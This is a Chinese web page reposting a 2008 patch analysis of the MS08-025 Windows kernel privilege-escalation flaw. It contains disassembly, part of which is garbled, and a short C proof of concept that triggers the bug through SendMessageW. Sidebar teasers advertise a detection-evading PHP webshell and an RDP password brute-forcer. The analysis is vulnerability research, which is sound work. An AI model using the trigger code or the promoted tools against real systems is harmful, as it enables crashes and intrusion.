驱动管家:安全、高效、精准的专业驱动下载站!

microsoft内核漏洞的危害 触发microsoft内核漏洞的条件

2018-03-09 08:51:53责编:llp   来源:驱动管家     人气:

Windows 内核漏洞 ms08025 分析 

Author:PolymorphoursEmail: Polymorphours@whitecell.orgHomepage:http://www.whitecell.orgDate:2008-04-10 

经内部讨论后决定公布分析成果。 

4月8号microsoft再次发布了一个系统内核的补丁(KB941693),微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的输入的方式来解决此漏洞。 

microsoft内核漏洞的危害 触发microsoft内核漏洞的条件

从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING函数中的问题来展开我们的分析(我分析的平台是winxp sp2) 

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int).text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x) 6Ep.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x) 61p.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x) 6Dp.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x) 60p ....text:BF86FB04.text:BF86FB04 var_24= dword ptr -24h.text:BF86FB04 var_20= dword ptr -20h.text:BF86FB04 UserBuffer= dword ptr -1Ch.text:BF86FB04 ms_exc= CPPEH_RECORD ptr -18h.text:BF86FB04 arg_0 = dword ptr8.text:BF86FB04 arg_4 = dword ptr0Ch.text:BF86FB04 arg_8 = dword ptr10h.text:BF86FB04 Address = dword ptr14h.text:BF86FB04 arg_10= dword ptr18h.text:BF86FB04 arg_14= dword ptr1Ch.text:BF86FB04 arg_18= dword ptr20h.text:BF86FB04.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES 

.text:BF86FB04.text:BF86FB04 push14h.text:BF86FB06 pushoffset unk_BF98D250.text:BF86FB0B call__SEH_prolog.text:BF86FB0B.text:BF86FB10 xor edx, edx.text:BF86FB12 mov [ebp ms_exc.disabled], edx.text:BF86FB15 mov eax, [ebp var_20].text:BF86FB18 mov ecx, 7FFFFFFFh.text:BF86FB1D and eax, ecx.text:BF86FB1F mov esi, [ebp arg_18].text:BF86FB22 shl esi, 1Fh.text:BF86FB25 oreax, esi.text:BF86FB27 mov [ebp var_20], eax.text:BF86FB2A mov esi, eax.text:BF86FB2C xor esi, [ebp arg_8]-> esi = 缓冲区长度.text:BF86FB2F and esi, ecx.text:BF86FB31 xor eax, esi.text:BF86FB33 mov [ebp var_20], eax.text:BF86FB36 cmp [ebp arg_18], edx-> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小.text:BF86FB39 jnz short loc_BF86FB47.text:BF86FB39.text:BF86FB3B lea esi, [eax eax]<- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,<- 当 eax = 0x80000000 的时候 eax eax = 0x100000000,32位的寄存器<- esi="0.text:BF86FB3E" xor="" eax.text:bf86fb40="" and="" ecx.text:bf86fb42="" esi.text:bf86fb44="" mov="" ebp="" eax="" -=""> 保存unicode占用的空间大小.text:BF86FB44.text:BF86FB47.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x) 35j.text:BF86FB47 mov [ebp var_24], edx.text:BF86FB4A mov esi, [ebp Address].text:BF86FB4D mov [ebp UserBuffer], esi.text:BF86FB50 xor ebx, ebx.text:BF86FB52 inc ebx.text:BF86FB53 pushebx ; Alignment.text:BF86FB54 and eax, ecx.text:BF86FB56 pusheax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过.text:BF86FB57 pushesi ; Address.text:BF86FB58 callds:ProbeForWrite(x,x,x)bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc 0x1235 (bf809623)bf80a1b5 d1e8 shr eax,1bf80a1b7 894510 mov [ebp 0x10],eaxbf80a1ba ebf1 jmpwin32k!xxxRealDefWindowProc 0x190 (bf80a1ad)bf80a1bc 8b4514 mov eax,[ebp 0x14]bf80a1bf f6400780 testbyte ptr [eax 0x7],0x80bf80a1c3 8b4008 mov eax,[eax 0x8]bf80a1c6 7408 jz win32k!xxxRealDefWindowProc 0x105 (bf80a1d0)bf80a1c8 c60000 mov byte ptr [eax],0x0bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)bf80a1d0 668910 mov [eax],dx<- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)bf80a1d8 6a00 push0x0bf80a1da 6a02 push0x2bf80a1dc ff7638 pushdword ptr [esi 0x38]bf80a1df e8d1690200 callwin32k!BuildHwndList (bf830bb5)bf80a1e4 8bf8 mov edi,eaxbf80a1e6 85ff testedi,edibf80a1e8 0f8433f4ffff jewin32k!xxxRealDefWindowProc 0x1225 (bf809621)bf80a1ee 8d7710 lea esi,[edi 0x10]那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可用的exploit,可以参考我以前的exploit) 

#include#includeint main(int argc,char *argv[]){DWORDdwHookAddress = 0x80000000; 

printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" ); 

SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );return 0;} 

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

  • 过d盾php一句话木马是什么?如何快速防御?

    过d盾php一句话木马是什么?如何快速防御?

    D盾,他不认识二维数组,所以就很轻松绕过了。 对了 还有360哦~ 测试了下安全狗,也查不出来,,。

    详情2018-02-28 14:09:03责编:llp   来源:驱动管家     
  • dr.web大蜘蛛的病毒隔离路径设置有哪些?

    dr.web大蜘蛛的病毒隔离路径设置有哪些?

    在使用Dr Web的朋友都知道 快速安装方式的病毒隔离路径为C: Program Files DrWeb infected !!!的文件夹下(如下图),其中有监控的隔离区设置,扫描的隔离区设置,发垃圾邮件的隔离区设置三种。下面我们分别来设

    详情2018-01-12 16:14:34责编:llp   来源:驱动管家     
  • 密码破解软件dubrute怎么用?讲解爆破3389服务器的方法

    密码破解软件dubrute怎么用?讲解爆破3389服务器的方法

    DUBrute是一款强大的远程桌面(3389)密码破解软件,你可以用本附件的扫描功能来自动扫描活跃IP地址,扫描完成后设置好用户名与需要猜解的密码就可以开始全自动工作了。只要你密码设置的好相信会有很大的收获哦。33

    详情2018-02-03 18:08:50责编:llp   来源:驱动管家     
  • 打开电脑的六种方法 原来打电话也能开计算机

    打开电脑的六种方法 原来打电话也能开计算机

    如果有人问:“你会开计算机吗?”你肯定会说:“不就是按一下 Power 键吗?这有谁不会?开机,不只从这里开始如果再问你:“除了按 Power 键开机外,你还会用其他的方法开机吗?”你肯定会一愣。开机六种玩

    详情2018-01-12 08:50:40责编:llp   来源:驱动管家     
  • 搜索引擎怎么用?搜索引擎怎么搜索资料?

    搜索引擎怎么用?搜索引擎怎么搜索资料?

    如何使用搜索引擎搜索资料,搜索引擎的使用方法1、打开搜索引擎1)打开网页浏览器,在地址栏输入百度搜索的网址 www baidu com 然后点右边的转到按钮,或者按一下回车键;2)进入百度搜索页面后,在中间输入要

    详情2018-01-30 18:48:48责编:llp   来源:驱动管家     
  • 结合十个按钮,介绍hektek的用法

    结合十个按钮,介绍hektek的用法

    HAKTEK是一个比较常用的黑客程序,它具有五项功能:PING某个指定的IP地址或WWW域名;对指定的IP地址或WWW域名进行端口检测;对某EMAIL地址进行“炸弹”袭击或屏蔽“炸弹”袭击;检测指定IP地址段内各IP地址是否活

    详情2018-02-12 15:14:47责编:llp   来源:驱动管家     
  • 网络安全的误区 为什么#是致命符号?

    网络安全的误区 为什么#是致命符号?

    作为脚本漏洞的头号杀手锏——数据库下载漏洞,现在已经被越来越多的人所熟知。在这个信息化技术更新飞快的时代,漏洞产生后随之而来的就是各种应对的招数,比如改数据库的后缀、修改数据库的名字等等。很多人以

    详情2018-02-11 19:21:12责编:llp   来源:驱动管家     
  • 编程语言phpinfo的跨站脚本漏洞的成因和解决方法

    编程语言phpinfo的跨站脚本漏洞的成因和解决方法

    漏洞说明:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数,许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示,但是phpinfo里存在

    详情2018-01-21 09:42:07责编:llp   来源:驱动管家     
  • 怎么通过序列号加密软件?序列号加密程序是什么?

    怎么通过序列号加密软件?序列号加密程序是什么?

    数学算法一项都是密码加密的核心,但在一般的软件加密中,它似乎并不太为人们关心,因为大多数时候软件加密本身实现的都是一种编程的技巧。但近几年来随着序列号加密程序的普及,数学算法在软件加密中的比重似乎

    详情2018-01-21 21:11:33责编:llp   来源:驱动管家     
  • 红帽linux异常,启动该服务器就疯狂往外发数据包,如何解决?

    红帽linux异常,启动该服务器就疯狂往外发数据包,如何解决?

    最近发现办公室网络不畅通,访问网页很慢,而且访问内网的网站也慢。通过排查,有一台redhat系统的服务器有异常,疯狂往外发数据 包,关闭该服务器,网络恢复正常,一启用,网络又出问题,怎么办?登陆该服务,

    详情2018-02-01 17:46:22责编:llp   来源:驱动管家